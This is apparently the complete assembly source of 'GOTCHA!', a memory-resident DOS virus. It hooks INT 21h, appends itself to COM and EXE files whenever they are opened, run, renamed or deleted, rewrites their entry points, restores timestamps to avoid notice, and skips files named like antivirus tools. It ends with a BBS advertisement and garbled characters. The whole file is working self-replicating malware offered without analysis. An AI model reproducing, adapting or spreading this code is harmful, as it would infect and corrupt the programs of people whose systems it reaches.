2022-08-21 09:07:57 +00:00
;****************************************************************************
;* GOTCHA! Version 9e
;****************************************************************************
cseg seg ment
assume cs : cs eg , ds : cs eg , es : nothing
org 100h
SIGNLEN equ si gnend - si gnature
FILELEN equ end - begin
RESPAR equ ( FILELEN / 16 ) + 17
VERSION equ 9
BUFLEN equ 20h
COMSIGN equ 0
EXESIGN equ 1
MINTARGET equ 1000
MAXTARGET equ - FILELEN
.RADIX 16
;****************************************************************************
;* Start the program!
;****************************************************************************
begin: xor bx , bx
call install
int 20
;****************************************************************************
;* Data
;****************************************************************************
buffer db BUFLEN dup ( ? )
oi21 dw ? , ?
oldlen dw ? , ?
nameptr dw ? , ?
handle dw ?
comexe db ?
;****************************************************************************
;* File-extensions
;****************************************************************************
EXE_txt db 'EXE'
COM_txt db 'COM'
;****************************************************************************
;* Interupt handler 24
;****************************************************************************
ni24: mov al , 03
iret
;****************************************************************************
;* Interupt handler 21
;****************************************************************************
ni21: pushf
cmp ax , 0DADAh ;install-check ?
je do_DADA
push dx
push cx
push bx
push ax
push si
push di
push ds
push es
cmp ax , 6C00h ;open/create 4.00 ?
je do_6C00
cmp ah , 56h ;rename ?
je doit
cmp ah , 4Eh ;findfirst ?
je doit ;(only works without wildcards)
cmp ah , 4Bh ;load / execute ?
je doit
cmp ah , 43h ;attributes
je doit
cmp ah , 41h ;delete ?
je doit ;(it might be un-deleted!)
cmp ah , 3Dh ;open ?
je do_3D
cmp ah , 17h ;FCB-rename?
je doFCB
cmp ah , 13h ;FCB-delete?
jne exit
doFCB: call FCBtoASC ;COMMAND.COM still uses FCB's!
doit: call infect
exit: pop es
pop ds
pop di
pop si
pop ax
pop bx
pop cx
pop dx
popf
jmp dword ptr cs :[ oi21 ] ;call to old int-handler
do_3D: test al , 03h ;only if opened for READING
jne exit
jmp short doit
do_6C00: test bl , 03h ;idem
jne exit
mov dx , di ;ptr was DS:DI
jmp short doit
do_DADA: mov ax , 0A500h + VERSION ;return a signature
popf
iret
;****************************************************************************
;* Old Interupt handler 21
;****************************************************************************
org21: pushf
call dword ptr cs :[ oi21 ] ;call to old int-handler
ret
;****************************************************************************
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************
infect: cld
mov cs :[ nameptr ], dx ;save the ptr to the filename
mov cs :[ nameptr + 2 ], ds
mov ah , 62h ;get segment-adres of PSP
int 21
mov ds , bx ;get seg-adres of environment
mov ax , ds : 002Ch
mov ds , ax
mov si , 0
envloop: cmp ds :[ si ], byte ptr 0 ;end of environment?
je verder7
push cs
pop es
mov di , offset envstring
mov bx , 0
scloop: mov al , ds :[ si ] ;check the current env-item
cmpsb
je scv1
inc bx ;characters don't match!
scv1: cmp al , 0 ;end of env-item?
jne scloop
cmp bx , 0 ;did all characters match?
je return
jmp short envloop
verder7: push cs ;check the filename
pop ds
les di , dword ptr [ nameptr ]
mov dx , di
mov cx , 80 ;search end of filename (-EXT)
mov al , '.'
repnz scasb
mov bx , di
std ;find begin of filename
mov cl , 11
mov al , '\'
repnz scasb
cld
je vvv
mov di , dx
jmp short vvv2
vvv: add di , 2
vvv2: mov al , 'V' ;is it V*.* ?
scasb
je return
mov cl , 7 ;is it *AN*.* ?
mov ax , 'NA'
ANloop: dec di
scasw
loopnz ANloop
je return
mov si , offset EXE_txt ;is extension 'EXE'?
mov di , bx
mov cx , 3
rep cmpsb
jnz verder4
mov byte ptr [ comexe ], EXESIGN
jmp short verder3
return: ret
verder4: mov si , offset COM_txt ;is extension 'COM'?
mov di , bx
mov cx , 3
rep cmpsb
jnz return
mov byte ptr [ comexe ], COMSIGN
verder3: mov ax , 3300h ;get ctrl-break flag
int 21
push dx
xor dl , dl ;clear the flag
mov ax , 3301h
int 21
mov ax , 3524h ;get int24 vector
int 21
push bx
push es
push cs ;set int24 vec to new handler
pop ds
mov dx , offset ni24
mov ax , 2524h
int 21
lds dx , dword ptr [ nameptr ] ;get file-attribute
mov ax , 4300h
call org21
push cx
and cx , 0F8h ;clear READ-ONLY-flag
call setattr
jc return1_v
push cs ;open the file
pop ds
lds dx , dword ptr [ nameptr ]
mov ax , 3D02h
int 21
jnc verder2
return1_v: jmp return1 ;something went wrong... :-(
verder2: push cs ;save handle
pop ds
mov [ handle ], ax
mov bx ,[ handle ] ;get file date & time
mov ax , 5700h
int 21
push cx
push dx
call endptr ;get file-length
mov [ oldlen ], ax
mov [ oldlen + 2 ], dx
sub ax , SI GNLEN ;move ptr to end - SIGNLEN
sbb dx , 0
mov cx , dx
mov dx , ax
mov al , 00h
call ptrmov
mov cx , SI GNLEN ;read the last bytes
mov dx , offset buffer
call flread
jc return2_v
push cs ;compare bytes with signature
pop es
mov di , offset buffer
mov si , offset si gnature
mov cx , SI GNLEN
rep cmpsb
jz return2_v
call beginptr ;read begin of file
mov cx , BUFLEN
mov dx , offset buffer
call flread
cmp byte ptr [ comexe ], EXESIGN
jz do_exe
do_com: cmp word ptr [ oldlen ], MAXTARGET ;check length of file
jnb return2
cmp word ptr [ oldlen ], MINTARGET
jbe return2
call writeprog ;write program to end of file
jc return2
mov ax ,[ oldlen ] ;calculate new start-adres
add ax ,( offset entry - 0103h )
mov byte ptr [ buffer ], 0E9h ;'JMP'
mov word ptr [ buffer + 1 ], ax
jmp short verder1
return2_v: jmp short return2
do_exe: call writeprog ;write program to end of file
jc return2
mov ax ,[ oldlen ] ;calculate new length
mov dx ,[ oldlen + 2 ]
add ax , FILELEN
adc dx , 0
mov cl , 9 ;put new length in header
shr ax , cl
mov cl , 7
shl dx , cl
or ax , dx
inc ax
mov word ptr [ buffer + 4 ], ax
mov ax ,[ oldlen ]
add ax , FILELEN
and ax , 01FFh
mov word ptr [ buffer + 2 ], ax
mov ax ,[ oldlen ] ;calculate new CS & IP
mov dx ,[ oldlen + 2 ]
mov bx , word ptr [ buffer + 8 ]
push ax
mov cl , 4
shr ax , cl
mov cl , 0Ch
shl dx , cl
add ax , dx
sub ax , bx
mov word ptr [ buffer + 16h ], ax ;put CS in header
pop ax
and ax , 000Fh
add ax ,( offset entry - 0100h )
mov word ptr [ buffer + 14h ], ax ;put IP in header
verder1: call beginptr ;write new begin of file
mov cx , BUFLEN
mov dx , offset buffer
call flwrite
return2: mov bx ,[ handle ] ;restore file date & time
pop dx
pop cx
mov ax , 5701h
int 21
mov bx ,[ handle ] ;close the file
mov ah , 3Eh
int 21
return1: pop cx ;restore file-attribute
call setattr
pop ds ;restore int24 vector
pop dx
mov ax , 2524h
int 21
pop dx ;restore ctrl-break flag
mov ax , 3301h
int 21
ret
;****************************************************************************
;* Gets ASCIIZ-filename from FCB
;****************************************************************************
FCBtoASC: mov si , dx
lodsb
inc al ;extended FCB?
jne normal_FCB
add si , 7
normal_FCB: push cs
pop es
xor di , di ;adres for ASCIIZ-name
mov dx , di
mov cx , 8
FCB_loop: lodsb ;copy all except spaces
cmp al , ' '
je FCB_verder
stosb
FCB_verder: loop FCB_loop
mov al , '.' ;append a '.'
stosb
mov cl , 3 ;and the extension
rep movsb
xchg ax , cx ;and a final zero.
stosb
push es
pop ds
ret
;****************************************************************************
;* Changes file-attributes
;****************************************************************************
setattr: lds dx , dword ptr cs :[ nameptr ]
mov ax , 4301h
call org21
ret
;****************************************************************************
;* Writes program to end of file
;****************************************************************************
writeprog: call endptr
mov cx , FILELEN
mov dx , offset begin
; call flwrite ;Hmm, save a few bytes!
; ret
;****************************************************************************
;* Subroutines for reading/writing
;****************************************************************************
flwrite: mov ah , 40h
jmp short flvrdr
flread: mov ah , 3Fh
flvrdr: push cs
pop ds
mov bx , cs :[ handle ]
int 21
ret
;****************************************************************************
;* Subroutines for file-pointer
;****************************************************************************
beginptr: mov al , 00h ;go to begin of file
jmp short ptrvrdr
endptr: mov al , 02h ;go to end of file
ptrvrdr: xor cx , cx
xor dx , dx
ptrmov: mov bx , cs :[ handle ] ;go somewhere
mov ah , 42h
int 21
ret
;****************************************************************************
;* This is where infected files start
;****************************************************************************
entry: call entry2
entry2: pop bx
sub bx , offset entry2 ;CS:BX is begin program - 100h
pushf
cld
cmp byte ptr cs :[ bx + offset comexe ], COMSIGN
jz entryC
entryE: mov ax , ds ;put old start-adres on stack
add ax , 10
add ax , cs :[ bx + offset buffer + 016h ]
push ax
push cs :[ bx + offset buffer + 014h ]
jmp short entcheck
entryC: mov ax , bx ;restore old file-begin
add ax , offset buffer
mov si , ax
mov di , 0100
mov cx , BUFLEN
rep movsb
push cs ;put old start-adres on stack
mov ax , 0100h
push ax
entcheck: mov ax , 0DADAh ;already installed?
int 21h
cmp ah , 0A5h
je entstop
call install ;install the program
entstop: iret
;****************************************************************************
;* Install the program at top of memory
;****************************************************************************
install: push ds
push es
xor ax , ax ;get original int21 vector
mov es , ax
mov cx , word ptr es : 0084h
mov dx , word ptr es : 0086h
mov cs :[ bx + offset oi21 ], cx
mov cs :[ bx + offset oi21 + 2 ], dx
mov ax , ds ;adjust memory-size
dec ax
mov es , ax
cmp byte ptr es :[ 0000h ], 5Ah
jnz cancel
mov ax , es :[ 0003h ]
sub ax , RESPAR
jb cancel
mov es :[ 0003h ], ax
sub es :[ 0012h ], word ptr RESPAR
push cs ;copy program to top
pop ds
mov es , es :[ 0012h ]
mov ax , bx
add ax , 0100
mov si , ax
mov di , 0100h
mov cx , FILELEN
rep movsb
mov dx , offset ni21 ;set vector to new handler
push es
pop ds
mov ax , 2521h
int 21h
cancel: pop es
pop ds
ret
;****************************************************************************
;* Text and Signature
;****************************************************************************
envstring: db 'E=mc<6D> ' , 0 ;put this in your environment!
signature: db 'GOTCHA!' , 0 ;I have got you! :-)
signend:
end:
cseg ends
end begin
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > and Remember Don't Forget to Call <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>